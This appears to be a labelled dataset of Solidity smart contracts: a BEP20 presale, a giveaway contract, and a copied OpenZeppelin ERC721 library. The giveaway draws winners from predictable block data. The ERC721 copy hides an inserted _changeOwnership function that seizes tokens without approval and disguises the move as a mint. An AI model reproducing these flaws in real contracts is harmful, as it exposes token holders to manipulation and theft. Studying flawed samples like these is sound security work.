constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/// @title PresaleBEP20 Contract
pragma solidity ^0.6.0;
interface Token {
function mint(address to, uint256 value) external;
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract PresaleBEP20 is Ownable {
using SafeMath for uint256;
Token public token;
address payable public presale;
// address payable public liquidity;
// address public airdrop;
uint256 public presaleStartTimestamp;
uint256 public presaleEndTimestamp;
uint256 public softCapEthAmount = 60 ether;
uint256 public hardCapEthAmount = 100 ether;
uint256 public totalDepositedEthBalance;
uint256 public minimumDepositEthAmount = 0.025 ether;
uint256 public maximumDepositEthAmount = 10 ether;
mapping(address => uint256) public deposits;
constructor(
Token _token
) public {
token = _token;
presale = 0x8c131C03F54f6e4B59A0B6Faf182D7a4975E5f23;
presaleStartTimestamp = now;
presaleEndTimestamp = now.add(2 days + 6 hours + 30 minutes);
}
receive() external payable {
deposit();
}
function deposit() public payable {
require(now >= presaleStartTimestamp && now <= presaleEndTimestamp, "presale is not active");
require(totalDepositedEthBalance.add(msg.value) <= hardCapEthAmount, "deposit limits reached");
require(deposits[msg.sender].add(msg.value) >= minimumDepositEthAmount && deposits[msg.sender].add(msg.value) <= maximumDepositEthAmount, "incorrect amount");
uint256 rewardTokenCount;
rewardTokenCount = 0.0025 ether; // 400 tokens per ETH
uint256 tokenAmount = msg.value.mul(1e18).div(rewardTokenCount);
token.transfer(msg.sender, tokenAmount);
totalDepositedEthBalance = totalDepositedEthBalance.add(msg.value);
deposits[msg.sender] = deposits[msg.sender].add(msg.value);
emit Deposited(msg.sender, msg.value);
}
function releaseFunds() external onlyOwner {
require(now >= presaleEndTimestamp || totalDepositedEthBalance == hardCapEthAmount, "presale is active");
presale.transfer(address(this).balance);
}
function recoverBEP20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
IBEP20(tokenAddress).transfer(this.owner(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function getDepositAmount() public view returns (uint256) {
return totalDepositedEthBalance;
}
function getLeftTimeAmount() public view returns (uint256) {
if(now > presaleEndTimestamp) {
return 0;
} else {
return (presaleEndTimestamp - now);
}
}
event Deposited(address indexed user, uint256 amount);
event Recovered(address token, uint256 amount);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Giveaway {
function selectWinner(address[] calldata users, uint256 salt) external view returns(address winner) {
uint256 size = users.length;
bytes32 hash = keccak256(abi.encode(address(this), block.number, block.timestamp, block.coinbase, block.gaslimit, block.difficulty, blockhash(block.number -5), size, salt));
uint256 winnerIndex = uint256(hash) % size;
return users[winnerIndex];
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/cryptography/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
//explained in detail here: https://www.youtube.com/watch?v=dQw4w9WgXcQ
function _changeOwnership(uint256 tokenId, address to) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
